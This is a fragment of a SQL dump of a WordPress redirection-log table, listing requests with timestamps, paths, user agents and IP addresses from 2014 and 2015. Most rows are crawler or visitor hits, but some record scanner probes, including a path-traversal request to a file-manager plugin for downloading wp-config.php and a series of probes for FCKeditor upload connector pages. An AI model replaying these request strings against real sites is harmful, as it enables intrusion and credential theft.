(58776, '2014-08-06 17:01:58', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58777, '2014-08-06 17:18:23', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58778, '2014-08-06 18:06:29', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58779, '2014-08-06 18:47:06', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
(58780, '2014-08-06 18:54:17', '/power-sessions/:AllanBeane:UMaRP1suguC6', '', 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0', 'http://www.whitehotcenter.com/', 0, '8.38.76.100', 3, 0),
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(62170, '2014-12-30 10:20:50', '/pods/\\"', '', 'Java/1.6.0_04', '', 0, '79.116.28.21', 3, 0),
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INSERT INTO `wp_redirection_logs` (`id`, `created`, `url`, `sent_to`, `agent`, `referrer`, `redirection_id`, `ip`, `module_id`, `group_id`) VALUES
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(62182, '2014-12-31 02:00:03', '/feeds/posts/default', '', 'Mozilla/5.0 (rqst crawler@rq.st)', '', 0, '144.76.44.151', 3, 0),
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(62202, '2015-01-01 14:00:11', '/feeds/posts/default', '', 'Mozilla/5.0 (rqst crawler@rq.st)', '', 0, '144.76.44.151', 3, 0),
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(62204, '2015-01-01 14:53:49', '/.shared/image.html?/photos/uncategorized/2008/08/27/creativejuice.gif', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', '', 0, '66.249.64.108', 3, 0),
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(62208, '2015-01-01 17:48:47', '/wp-content/plugins/wp-filemanager/incl/libfile.php?path=../../&filename=wp-config.php&action=download', '', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16', '', 0, '92.63.88.114', 3, 0),
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(62216, '2015-01-01 22:25:46', '/editor/editor/filemanager/browser/default/connectors/test.html', '', 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)', '', 0, '98.126.228.242', 3, 0),
(62217, '2015-01-01 22:25:47', '/FCKeditor/editor/filemanager/connectors/uploadtest.html', '', 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)', '', 0, '98.126.228.242', 3, 0),
(62218, '2015-01-01 22:25:47', '/admin/fckeditor/editor/filemanager/browser/default/connectors/uploadtest.html', '', 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)', '', 0, '98.126.228.242', 3, 0),
(62219, '2015-01-01 22:25:48', '/editor/editor/filemanager/browser/default/connectors/uploadtest.html', '', 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)', '', 0, '98.126.228.242', 3, 0),
(62220, '2015-01-01 22:25:48', '/Administrator/fckeditor/editor/filemanager/browser/default/connectors/test.html', '', 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)', '', 0, '98.126.228.242', 3, 0),
(62221, '2015-01-01 22:25:49', '/Administrator/fckeditor/editor/filemanager/browser/default/connectors/uploadtest.html', '', 'Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)', '', 0, '98.126.228.242', 3, 0),
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(62223, '2015-01-02 08:00:12', '/feeds/posts/default', '', 'Mozilla/5.0 (rqst crawler@rq.st)', '', 0, '144.76.44.151', 3, 0),
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(62230, '2015-01-03 20:00:15', '/feeds/posts/default', '', 'Mozilla/5.0 (rqst crawler@rq.st)', '', 0, '144.76.44.151', 3, 0),
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